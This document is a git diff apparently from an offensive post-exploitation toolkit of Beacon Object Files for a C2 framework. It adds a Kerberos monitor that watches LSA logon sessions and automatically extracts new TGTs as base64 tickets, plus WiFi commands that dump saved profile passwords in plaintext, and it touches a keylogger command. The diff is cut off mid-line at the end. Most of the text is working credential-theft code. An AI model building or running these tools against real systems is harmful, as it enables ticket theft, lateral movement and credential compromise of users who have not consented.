diff --git a/AD-BOF/Kerbeus-BOF/Makefile b/AD-BOF/Kerbeus-BOF/Makefile index c2dad43..22afbb6 100755 --- a/AD-BOF/Kerbeus-BOF/Makefile +++ b/AD-BOF/Kerbeus-BOF/Makefile @@ -6,6 +6,7 @@ all: bof bof: @(mkdir -p _bin/Kerbeus-BOF 2>/dev/null) && echo 'creating _bin/Kerbeus-BOF' || echo '_bin/Kerbeus-BOF exists' + @($(CC64) $(CFLAGS) monitor/monitor.c -o _bin/Kerbeus-BOF/monitor.x64.o && $(STRIP64) _bin/Kerbeus-BOF/monitor.x64.o) && echo '[+] monitor' || echo '[!] monitor' @($(CC64) $(CFLAGS) hash/hash.c -o _bin/Kerbeus-BOF/hash.x64.o && $(STRIP64) _bin/Kerbeus-BOF/hash.x64.o) && echo '[+] hash' || echo '[!] hash' @($(CC64) $(CFLAGS) klist/klist.c -o _bin/Kerbeus-BOF/klist.x64.o && $(STRIP64) _bin/Kerbeus-BOF/klist.x64.o) && echo '[+] klist' || echo '[!] klist' @($(CC64) $(CFLAGS) -DTRIAGE klist/klist.c -o _bin/Kerbeus-BOF/triage.x64.o && $(STRIP64) _bin/Kerbeus-BOF/triage.x64.o) && echo '[+] triage' || echo '[!] triage' @@ -22,6 +23,5 @@ bof: @($(CC64) $(CFLAGS) kerberoasting/kerberoasting.c -o _bin/Kerbeus-BOF/kerberoasting.x64.o && $(STRIP64) _bin/Kerbeus-BOF/kerberoasting.x64.o) && echo '[+] kerberoasting' || echo '[!] kerberoasting' @($(CC64) $(CFLAGS) s4u/s4u.c -o _bin/Kerbeus-BOF/s4u.x64.o && $(STRIP64) _bin/Kerbeus-BOF/s4u.x64.o) && echo '[+] s4u' || echo '[!] s4u' @($(CC64) $(CFLAGS) s4u/cross_s4u.c -o _bin/Kerbeus-BOF/cross_s4u.x64.o && $(STRIP64) _bin/Kerbeus-BOF/cross_s4u.x64.o) && echo '[+] cross_s4u' || echo '[!] cross_s4u' - clean: @(rm -rf _bin) diff --git a/AD-BOF/Kerbeus-BOF/_include/base.c b/AD-BOF/Kerbeus-BOF/_include/base.c new file mode 100644 index 0000000..35df17e --- /dev/null +++ b/AD-BOF/Kerbeus-BOF/_include/base.c @@ -0,0 +1,207 @@ +#include +#include "../../../_include/bofdefs.h" +#include "beacon.h" +#ifndef bufsize +#define bufsize 8192 +#endif + + +char * output __attribute__((section (".data"))) = 0; // this is just done so its we don't go into .bss which isn't handled properly +WORD currentoutsize __attribute__((section (".data"))) = 0; +HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error + +#ifdef BOF +int bofstart(); +void internal_printf(const char* format, ...); +void printoutput(BOOL done); +#endif +char * Utf16ToUtf8(const wchar_t* input); + +int bofstart() +{ + output = (char*)MSVCRT$calloc(bufsize, 1); + currentoutsize = 0; + return 1; +} + +void internal_printf(const char* format, ...){ + int buffersize = 0; + int transfersize = 0; + char * curloc = NULL; + char* intBuffer = NULL; + va_list args; + va_start(args, format); + buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null + va_end(args); + + // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string) + if (buffersize == -1) + return; + + char* transferBuffer = (char*)intAlloc(bufsize); + intBuffer = (char*)intAlloc(buffersize); + /*Print string to memory buffer*/ + va_start(args, format); + MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string + va_end(args); + if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end + { + //BeaconFormatPrintf(&output, intBuffer); + MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize); + currentoutsize += buffersize; + } + else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print + { + curloc = intBuffer; + while(buffersize > 0) + { + transfersize = bufsize - currentoutsize; // what is the max we could transfer this request + if(buffersize < transfersize) //if I have less then that, lets just transfer what's left + { + transfersize = buffersize; + } + MSVCRT$memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer + currentoutsize += transfersize; + if(currentoutsize == bufsize) + { + printoutput(FALSE); // sets currentoutsize to 0 and prints + } + MSVCRT$memset(transferBuffer, 0, transfersize); // reset our transfer buffer + curloc += transfersize; // increment by how much data we just wrote + buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall + } + } + intFree(intBuffer); + intFree(transferBuffer); +} + +void printoutput(BOOL done) +{ + + char * msg = NULL; + BeaconOutput(CALLBACK_OUTPUT_UTF8, output, currentoutsize); + currentoutsize = 0; + MSVCRT$memset(output, 0, bufsize); + if(done) {MSVCRT$free(output); output=NULL;} +} + + +#ifdef DYNAMIC_LIB_COUNT + + +typedef struct loadedLibrary { + HMODULE hMod; // mod handle + const char * name; // name normalized to uppercase +}loadedLibrary, *ploadedLibrary; +loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0}; +DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0; + +BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget) +{ + BOOL bmatch = FALSE; + DWORD pos = 0; + while(szLibrary[pos] && sztarget[pos]) + { + if(szLibrary[pos] != sztarget[pos]) + { + goto end; + } + pos++; + } + if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match + {goto end;} + bmatch = TRUE; + + end: + return bmatch; +} + +FARPROC DynamicLoad(const char * szLibrary, const char * szFunction) +{ + FARPROC fp = NULL; + HMODULE hMod = NULL; + DWORD i = 0; + DWORD liblen = 0; + for(i = 0; i < loadedLibrariesCount; i++) + { + if(intstrcmp(szLibrary, loadedLibraries[i].name)) + { + hMod = loadedLibraries[i].hMod; + } + } + if(!hMod) + { + hMod = LoadLibraryA(szLibrary); + if(!hMod){ + BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary); + return NULL; + } + loadedLibraries[loadedLibrariesCount].hMod = hMod; + loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop + loadedLibrariesCount++; + } + fp = GetProcAddress(hMod, szFunction); + + if (NULL == fp) + { + BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction); + } + return fp; +} +#endif + + +char* Utf16ToUtf8(const wchar_t* input) +{ + int ret = KERNEL32$WideCharToMultiByte( + CP_UTF8, + 0, + input, + -1, + NULL, + 0, + NULL, + NULL + ); + + char* newString = (char*)intAlloc(sizeof(char) * ret); + + ret = KERNEL32$WideCharToMultiByte( + CP_UTF8, + 0, + input, + -1, + newString, + sizeof(char) * ret, + NULL, + NULL + ); + + if (0 == ret) + { + goto fail; + } + +retloc: + return newString; +/*location to free everything centrally*/ +fail: + if (newString){ + intFree(newString); + newString = NULL; + }; + goto retloc; +} + +//release any global functions here +void bofstop() +{ +#ifdef DYNAMIC_LIB_COUNT + DWORD i; + for(i = 0; i < loadedLibrariesCount; i++) + { + FreeLibrary(loadedLibraries[i].hMod); + } +#endif + return; +} diff --git a/AD-BOF/Kerbeus-BOF/kerbeus.axs b/AD-BOF/Kerbeus-BOF/kerbeus.axs index 7266a2b..e442424 100644 --- a/AD-BOF/Kerbeus-BOF/kerbeus.axs +++ b/AD-BOF/Kerbeus-BOF/kerbeus.axs @@ -3,6 +3,18 @@ var metadata = { description: "Kerberos Exploitation BOFs" }; + +let _cmd_monitor = ax.create_command("monitor", "Monitor Kerberos cache for new TGTs and extract them automatically", "kerbeus monitor /interval:30"); +_cmd_monitor.addArgString("params", "Args: [/interval:SECONDS] (defaults: interval=30)", ""); +_cmd_monitor.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + let params = parsed_json["params"] || ""; + + let bof_params = ax.bof_pack("cstr", [params]); + let bof_path = ax.script_dir() + "_bin/Kerbeus-BOF/monitor." + ax.arch(id) + ".o"; + + ax.execute_alias(id, cmdline, `execute bof -a "${bof_path}" ${bof_params}`, "Task: Kerbeus MONITOR"); +}); + let _cmd_asreproasting = ax.create_command("asreproasting", "Perform AS-REP roasting", "kerbeus asreproasting /user:pre_user"); _cmd_asreproasting.addArgString("params", true, "Args: /user:USER [/dc:DC] [/domain:DOMAIN]"); _cmd_asreproasting.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { @@ -180,7 +192,7 @@ _cmd_triage.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { }); var cmd_kerbeus = ax.create_command("kerbeus", "Kerberos abuse (kerbeus BOF)"); -cmd_kerbeus.addSubCommands([_cmd_asreproasting, _cmd_asktgt, _cmd_asktgs, _cmd_changepw, _cmd_dump, _cmd_hash, _cmd_kerberoasting, _cmd_klist, _cmd_ptt, _cmd_describe, _cmd_purge, _cmd_renew, _cmd_s4u, _cmd_cross_s4u, _cmd_tgtdeleg, _cmd_triage]); +cmd_kerbeus.addSubCommands([_cmd_asreproasting, _cmd_monitor, _cmd_asktgt, _cmd_asktgs, _cmd_changepw, _cmd_dump, _cmd_hash, _cmd_kerberoasting, _cmd_klist, _cmd_ptt, _cmd_describe, _cmd_purge, _cmd_renew, _cmd_s4u, _cmd_cross_s4u, _cmd_tgtdeleg, _cmd_triage]); var group_kerbeus = ax.create_commands_group("Kerbeus-BOF", [cmd_kerbeus]); -ax.register_commands_group(group_kerbeus, ["beacon", "gopher", "kharon"], ["windows"], []); \ No newline at end of file +ax.register_commands_group(group_kerbeus, ["beacon", "gopher", "kharon"], ["windows"], []); diff --git a/AD-BOF/Kerbeus-BOF/monitor/monitor.c b/AD-BOF/Kerbeus-BOF/monitor/monitor.c new file mode 100644 index 0000000..ccb7e15 --- /dev/null +++ b/AD-BOF/Kerbeus-BOF/monitor/monitor.c @@ -0,0 +1,372 @@ +#include + +void printoutput(BOOL done); +#include "../_include/base.c" + +#define SECURITY_WIN32 +#include +#include + +DECLSPEC_IMPORT NTSTATUS WINAPI SECUR32$LsaRegisterLogonProcess(PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode); +DECLSPEC_IMPORT NTSTATUS WINAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId, PSECURITY_LOGON_SESSION_DATA* ppLogonSessionData); +DECLSPEC_IMPORT NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID* LogonSessionList); +DECLSPEC_IMPORT NTSTATUS WINAPI SECUR32$LsaFreeReturnBuffer(PVOID Buffer); +DECLSPEC_IMPORT NTSTATUS WINAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle); + +// ADVAPI32 imports +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle); +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD nSubAuthority0, DWORD nSubAuthority1, DWORD nSubAuthority2, DWORD nSubAuthority3, DWORD nSubAuthority4, DWORD nSubAuthority5, DWORD nSubAuthority6, DWORD nSubAuthority7, PSID* pSid); +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$EqualSid(PSID pSid1, PSID pSid2); +DECLSPEC_IMPORT PVOID WINAPI ADVAPI32$FreeSid(PSID pSid); + +// KERNEL32 extras +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FileTimeToSystemTime(const FILETIME*, LPSYSTEMTIME); +DECLSPEC_IMPORT int WINAPI KERNEL32$WideCharToMultiByte(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateEventA(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCSTR); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE, DWORD); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentThread(void); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(void); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetTickCount(void); + +// Stop event del beacon — NULL si corre sync, non-NULL si corre async +DECLSPEC_IMPORT HANDLE BeaconGetStopJobEvent(); + +// ----------------------------------------------------------------------- +// Helpers +// ----------------------------------------------------------------------- +#define MAX_SNAPSHOT 512 + +typedef struct { + char keys[MAX_SNAPSHOT][320]; + int count; +} TICKET_SNAPSHOT; + +static int my_isdigit(int c) { return (c >= '0' && c <= '9'); } +static int my_islower(int c) { return (c >= 'a' && c <= 'z'); } + +static int my_strncmp_local(const char* s1, const char* s2, int len) { + int i = 0; + while (s1[i] && s1[i] == s2[i] && i < len) i++; + return (i == len) ? 0 : (int)((unsigned char)s1[i] - (unsigned char)s2[i]); +} + +static int my_strcmp_local(const char* s1, const char* s2) { + while (*s1 && *s1 == *s2) { s1++; s2++; } + return (int)((unsigned char)*s1 - (unsigned char)*s2); +} + +static long int my_strtol(const char* str, int base) { + long int result = 0; + int sign = 1; + if (*str == '-' || *str == '+') { sign = (*str == '-') ? -1 : 1; str++; } + while (my_isdigit(*str) || + (base == 16 && ((*str >= 'a' && *str <= 'f') || (*str >= 'A' && *str <= 'F')))) { + int digit = my_isdigit(*str) ? (*str - '0') + : (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10)); + if (digit >= base) break; + result = result * base + digit; + str++; + } + return result * sign; +} + +static void wide_to_narrow(UNICODE_STRING us, char* out, int outLen) { + int chars = us.Length / 2; + if (chars >= outLen) chars = outLen - 1; + KERNEL32$WideCharToMultiByte(CP_ACP, 0, us.Buffer, chars, out, outLen, NULL, NULL); + out[chars] = '\0'; +} + +static int snapshot_contains(TICKET_SNAPSHOT* snap, const char* key) { + for (int i = 0; i < snap->count; i++) + if (my_strcmp_local(snap->keys[i], key) == 0) return 1; + return 0; +} + +static void snapshot_add(TICKET_SNAPSHOT* snap, const char* key) { + if (snap->count >= MAX_SNAPSHOT) return; + int i = 0; + while (key[i] && i < 319) { snap->keys[snap->count][i] = key[i]; i++; } + snap->keys[snap->count][i] = '\0'; + snap->count++; +} + +static void build_key(const char* svcName, LUID luid, char* key, int keyLen) { + int k = 0; + while (svcName[k] && k < keyLen - 20) { key[k] = svcName[k]; k++; } + key[k++] = ':'; + ULONG lo = luid.LowPart; + for (int b = 28; b >= 0; b -= 4) { + int n = (lo >> b) & 0xF; + key[k++] = n < 10 ? '0' + n : 'a' + (n - 10); + } + key[k] = '\0'; +} + +static char* b64_encode(BYTE* input, size_t input_len) { + const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + size_t out_len = 4 * ((input_len + 2) / 3); + BYTE* out = (BYTE*)intAlloc(out_len + 1); + if (!out) return NULL; + size_t i = 0, j = 0; + while (i < input_len) { + UINT a = i < input_len ? input[i++] : 0; + UINT b = i < input_len ? input[i++] : 0; + UINT c = i < input_len ? input[i++] : 0; + UINT t = (a << 16) + (b << 8) + c; + out[j++] = b64chars[(t >> 18) & 0x3F]; + out[j++] = b64chars[(t >> 12) & 0x3F]; + out[j++] = b64chars[(t >> 6) & 0x3F]; + out[j++] = b64chars[(t >> 0) & 0x3F]; + } + if (input_len % 3 == 1) { out[out_len-1] = '='; out[out_len-2] = '='; } + else if (input_len % 3 == 2) { out[out_len-1] = '='; } + out[out_len] = '\0'; + return (char*)out; +} + +// ----------------------------------------------------------------------- +// IsSystem / GetLsaHandle +// ----------------------------------------------------------------------- +static BOOL IsSystem(void) { + HANDLE hToken = NULL; + UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES]; + PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser; + ULONG cbTokenUser; + SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY; + PSID pSystemSid = NULL; + BOOL bSystem = FALSE; + + if (!ADVAPI32$OpenThreadToken((HANDLE)(LONG_PTR)-2, TOKEN_QUERY, TRUE, &hToken)) { + if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) + ADVAPI32$OpenProcessToken((HANDLE)(LONG_PTR)-1, TOKEN_QUERY, &hToken); + } + if (!hToken) return FALSE; + + if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) + goto done; + if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, + 0,0,0,0,0,0,0, &pSystemSid)) + goto done; + bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid); + ADVAPI32$FreeSid(pSystemSid); +done: + return bSystem; +} + +static BOOL GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa) { + ULONG mode = 0; + NTSTATUS status; + if (highIntegrity) { + LSA_STRING lsaStr = { 8, 9, "Winlogon" }; + status = SECUR32$LsaRegisterLogonProcess(&lsaStr, hLsa, &mode); + } else { + status = SECUR32$LsaConnectUntrusted(hLsa); + } + return (status == 0); +} + +// ----------------------------------------------------------------------- +// ExtractTicket / ScanAndReport +// ----------------------------------------------------------------------- +static BOOL ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, + UNICODE_STRING targetName, + BYTE** ticket, int* ticketSize) { + ULONG reqSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + targetName.MaximumLength; + KERB_RETRIEVE_TKT_REQUEST* req = (KERB_RETRIEVE_TKT_REQUEST*)intAlloc(reqSize); + if (!req) return FALSE; + + req->MessageType = KerbRetrieveEncodedTicketMessage; + req->LogonId = luid; + req->TicketFlags = 0; + req->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; + req->EncryptionType = 0; + req->TargetName = targetName; + req->TargetName.Buffer = (PWSTR)((PBYTE)req + sizeof(KERB_RETRIEVE_TKT_REQUEST)); + MSVCRT$memcpy(req->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength); + + KERB_RETRIEVE_TKT_RESPONSE* resp = NULL; + ULONG respSize = reqSize; + NTSTATUS protStatus; + BOOL status = SECUR32$LsaCallAuthenticationPackage( + hLsa, authPackage, req, reqSize, + (PVOID*)&resp, &respSize, &protStatus); + + intFree(req); + + BOOL ok = FALSE; + if (!status && !protStatus && respSize > 0) { + ULONG sz = resp->Ticket.EncodedTicketSize; + *ticket = (BYTE*)intAlloc(sz); + if (*ticket) { + MSVCRT$memcpy(*ticket, resp->Ticket.EncodedTicket, sz); + *ticketSize = (int)sz; + ok = TRUE; + } + } + if (resp) SECUR32$LsaFreeReturnBuffer(resp); + return ok; +} + +static void ScanAndReport(HANDLE hLsa, ULONG authPackage, BOOL highIntegrity, + TICKET_SNAPSHOT* snap, BOOL firstRun) { + ULONG sessionCount = 0; + PLUID sessionList = NULL; + + if (SECUR32$LsaEnumerateLogonSessions(&sessionCount, &sessionList) != 0) + return; + + for (ULONG i = 0; i < sessionCount; i++) { + LUID luid = sessionList[i]; + + KERB_QUERY_TKT_CACHE_REQUEST cacheReq; + cacheReq.MessageType = KerbQueryTicketCacheExMessage; + cacheReq.LogonId = highIntegrity ? luid : (LUID){0}; + + KERB_QUERY_TKT_CACHE_EX_RESPONSE* cacheResp = NULL; + ULONG respSize = 0; + NTSTATUS protStatus; + + if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, + &cacheReq, sizeof(cacheReq), + (PVOID*)&cacheResp, &respSize, &protStatus) != 0) + continue; + if (!cacheResp) continue; + + for (ULONG j = 0; j < cacheResp->CountOfTickets; j++) { + KERB_TICKET_CACHE_INFO_EX* ti = &cacheResp->Tickets[j]; + + char svcName[256] = {0}; + wide_to_narrow(ti->ServerName, svcName, sizeof(svcName)); + if (my_strncmp_local(svcName, "krbtgt", 6) != 0) continue; + + char key[320] = {0}; + build_key(svcName, luid, key, sizeof(key)); + if (snapshot_contains(snap, key)) continue; + snapshot_add(snap, key); + if (firstRun) continue; + + char clientName[256] = {0}; + char clientRealm[256] = {0}; + char svcRealm[256] = {0}; + wide_to_narrow(ti->ClientName, clientName, sizeof(clientName)); + wide_to_narrow(ti->ClientRealm, clientRealm, sizeof(clientRealm)); + wide_to_narrow(ti->ServerRealm, svcRealm, sizeof(svcRealm)); + + FILETIME ft; + SYSTEMTIME st; + ft.dwHighDateTime = ti->EndTime.HighPart; + ft.dwLowDateTime = ti->EndTime.LowPart; + KERNEL32$FileTimeToSystemTime(&ft, &st); + + internal_printf("\n[+] New TGT detected!\n"); + internal_printf(" User : %s @ %s\n", clientName, clientRealm); + internal_printf(" Service : %s @ %s\n", svcName, svcRealm); + internal_printf(" Expires : %02d.%02d.%04d %02d:%02d:%02d UTC\n", + st.wDay, st.wMonth, st.wYear, + st.wHour, st.wMinute, st.wSecond); + internal_printf(" LUID : %lx:0x%lx\n", + (unsigned long)luid.HighPart, (unsigned long)luid.LowPart); + + BYTE* rawTicket = NULL; + int rawSize = 0; + if (ExtractTicket(hLsa, authPackage, luid, ti->ServerName, + &rawTicket, &rawSize)) { + char* b64 = b64_encode(rawTicket, rawSize); + if (b64) { + internal_printf(" Ticket :\n %s\n", b64); + intFree(b64); + } + intFree(rawTicket); + } + printoutput(FALSE); + } + + SECUR32$LsaFreeReturnBuffer(cacheResp); + } + + SECUR32$LsaFreeReturnBuffer(sessionList); +} + +// ----------------------------------------------------------------------- +// Entry point +// ----------------------------------------------------------------------- +void go(char* args, int len) { + bofstart(); + + datap parser; + BeaconDataParse(&parser, args, len); + + int param_len = 0; + char* params = BeaconDataExtract(&parser, ¶m_len); + + int intervalSec = 30; + + if (params && param_len > 0) { + char* p = params; + while (*p) { + if (my_strncmp_local(p, "/interval:", 10) == 0) { + intervalSec = (int)my_strtol(p + 10, 10); + if (intervalSec <= 0) intervalSec = 30; + } + p++; + } + } + + BOOL highIntegrity = IsSystem(); + + HANDLE hLsa = NULL; + if (!GetLsaHandle(highIntegrity, &hLsa)) { + internal_printf("[-] Failed to get LSA handle\n"); + printoutput(TRUE); + bofstop(); + return; + } + + LSA_STRING krbAuth = { 8, 9, "kerberos" }; + ULONG authPackage = 0; + if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) != 0) { + internal_printf("[-] Failed to find Kerberos auth package\n"); + SECUR32$LsaDeregisterLogonProcess(hLsa); + printoutput(TRUE); + bofstop(); + return; + } + + internal_printf("\n[*] Kerberos Monitor started\n"); + internal_printf(" Interval : %d sec\n", intervalSec); + internal_printf(" Watching for new TGTs...\n\n"); + printoutput(FALSE); + + TICKET_SNAPSHOT* snap = (TICKET_SNAPSHOT*)intAlloc(sizeof(TICKET_SNAPSHOT)); + if (!snap) { + internal_printf("[-] Failed to allocate snapshot\n"); + SECUR32$LsaDeregisterLogonProcess(hLsa); + printoutput(TRUE); + bofstop(); + return; + } + snap->count = 0; + + ScanAndReport(hLsa, authPackage, highIntegrity, snap, TRUE); + + DWORD intervalMs = (DWORD)intervalSec * 1000; + + HANDLE hStop = BeaconGetStopJobEvent(); + + while (1) { + DWORD waitResult = KERNEL32$WaitForSingleObject(hStop, intervalMs); + if (waitResult == WAIT_OBJECT_0) + break; // stop event señalado — salir limpiamente + ScanAndReport(hLsa, authPackage, highIntegrity, snap, FALSE); + } + + intFree(snap); + SECUR32$LsaDeregisterLogonProcess(hLsa); + bofstop(); +} diff --git a/Postex-BOF/Makefile b/Postex-BOF/Makefile index c89c9b1..41bf98a 100644 --- a/Postex-BOF/Makefile +++ b/Postex-BOF/Makefile @@ -23,5 +23,7 @@ bof: clean @($(CC86) $(CFLAGS) KeyloggerBOF/keylog_dump_bof.c -o _bin/keylog_dump_bof.x32.o && $(STRIP86) _bin/keylog_dump_bof.x32.o) && echo '[+] keylog_dump (x32)' || echo '[!] keylog_dump (x32)' @($(CC86) $(CFLAGS) KeyloggerBOF/keylog_stop_bof.c -o _bin/keylog_stop_bof.x32.o && $(STRIP86) _bin/keylog_stop_bof.x32.o) && echo '[+] keylog_stop (x32)' || echo '[!] keylog_stop (x32)' + @$(MAKE) --no-print-directory -C wifi + @cp wifi/_bin/*.o _bin/ clean: - @(rm -rf _bin) + @(rm -rf _bin wifi/_bin) diff --git a/Postex-BOF/postex.axs b/Postex-BOF/postex.axs index 120cf72..a5cffe5 100644 --- a/Postex-BOF/postex.axs +++ b/Postex-BOF/postex.axs @@ -5,6 +5,109 @@ var metadata = { /// COMMANDS +// ***************** wifi ***************** + +var _cmd_wifi_enum = ax.create_command( + "enum", + "List WiFi profiles saved on the system. [NOISE: low]", + "wifi enum"); +_cmd_wifi_enum.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var bof_path = ax.script_dir() + "_bin/wifidump_enum." + ax.arch(id) + ".o"; + if (!ax.file_exists(bof_path)) { + ax.console_message(id, "BOF not found: " + bof_path, "error", + "Compile wifidump.c and place the .o files under _bin/ next to this script."); + return; + } + ax.execute_alias(id, cmdline, + `execute bof ${bof_path}`, + "Task: WiFi profile enumeration (BOF)", null); +}); + +var _cmd_wifi_dump = ax.create_command( + "dump", + "Retrieve the plaintext password from a saved WiFi profile. [NOISE: low]", + "wifi dump \"NetworkName\""); +_cmd_wifi_dump.addArgString("profile", true, "Exact WiFi profile name (case-sensitive)"); +_cmd_wifi_dump.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var profile = parsed_json["profile"] || ""; + if (!profile) { + ax.console_message(id, "Profile name is missing.", "error", + "Usage: wifi dump \"NetworkName\""); + return; + } + var bof_path = ax.script_dir() + "_bin/wifidump_dump." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack("wstr", [profile]); + if (!ax.file_exists(bof_path)) { + ax.console_message(id, "BOF not found: " + bof_path, "error", + "Compile wifidump.c and place the .o files under _bin/ next to this script."); + return; + } + var hook = function (task) { + if (!task.text || task.text.indexOf("]*>([^<]*)<\\/" + tag + ">"); + var m = re.exec(text); + return m ? m[1].trim() : null; + } + var ifaceMatch = /\[\+\] Profile XML \(([^)]+)\)/.exec(task.text); + var iface = ifaceMatch ? ifaceMatch[1] : "unknown"; + var ssid = xmlTag("name", task.text); + var auth = xmlTag("authentication", task.text); + var enc = xmlTag("encryption", task.text); + var keyType = xmlTag("keyType", task.text); + var password = xmlTag("keyMaterial", task.text); + var prot = xmlTag("protected", task.text); + var out = "\n[WiFi Credential Dump]\n"; + out += " Interface : " + iface + "\n"; + out += " SSID : " + (ssid || "?") + "\n"; + out += " Auth : " + (auth || "?") + "\n"; + out += " Encryption: " + (enc || "?") + "\n"; + out += " Key type : " + (keyType || "?") + "\n"; + out += " Password : " + (prot === "true" + ? "(protected — requires SYSTEM to read in plaintext)" + : (password || "(not set / open network)")) + "\n"; + task.text = out; + return task; + }; + ax.execute_alias_hook(id, cmdline, + `execute bof ${bof_path} ${bof_params}`, + "Task: WiFi dump '" + profile + "' (BOF)", hook); +}); + +var _cmd_wifi_auth = ax.create_command( + "auth", + "Connect to a WPA2-PSK network by registering a profile and calling WlanConnect. [NOISE: medium]", + "wifi auth \"NetworkName\" \"password\""); +_cmd_wifi_auth.addArgString("ssid", true, "Target network SSID (case-sensitive)"); +_cmd_wifi_auth.addArgString("password", true, "WPA2-PSK password (minimum 8 characters)"); +_cmd_wifi_auth.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var ssid = parsed_json["ssid"] || ""; + var pass = parsed_json["password"] || ""; + if (!ssid) { + ax.console_message(id, "SSID is missing.", "error", + "Usage: wifi auth \"NetworkName\" \"password\""); + return; + } + if (pass.length < 8) { + ax.console_message(id, "WPA2-PSK password must be at least 8 characters long.", "error", ""); + return; + } + var bof_path = ax.script_dir() + "_bin/wifidump_auth." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack("wstr,wstr", [ssid, pass]); + if (!ax.file_exists(bof_path)) { + ax.console_message(id, "BOF not found: " + bof_path, "error", + "Compile wifidump.c and place the .o files under _bin/ next to this script."); + return; + } + ax.execute_alias(id, cmdline, + `execute bof ${bof_path} ${bof_params}`, + "Task: WiFi auth -> '" + ssid + "' (BOF)", null); +}); + + +// *************** wifi end *************** + + var _cmd_fw_add = ax.create_command("add", "Add a new inbound or outbound firewall rule using COM", "firewallrule add 80 RuleName in -g Group1 -d TestRule"); _cmd_fw_add.addArgString("port", true); _cmd_fw_add.addArgString("rulename", true); @@ -43,7 +146,7 @@ cmd_screenshot.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { -var cmd_keylog_start = ax.create_command("start", "Start async keylogger (WH_KEYBOARD_LL). Captures keystrokes with window context and timestamps. Use keylog_dump to retrieve. [NOISE: medium]", "keylog_start\nkeylog_start 256"); +var cmd_keylog_start = ax.create_command("start", "Start async keylogger (WH_KEYBOARD_LL). Captures keystrokes with window context and timestamps. Use keylog_dump to retrieve. [NOISE: medium]", "keylog_start | keylog_start 256"); cmd_keylog_start.addArgInt("buffer_kb", false, "Buffer size in KB (default: 64, max: 4096)") cmd_keylog_start.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { var 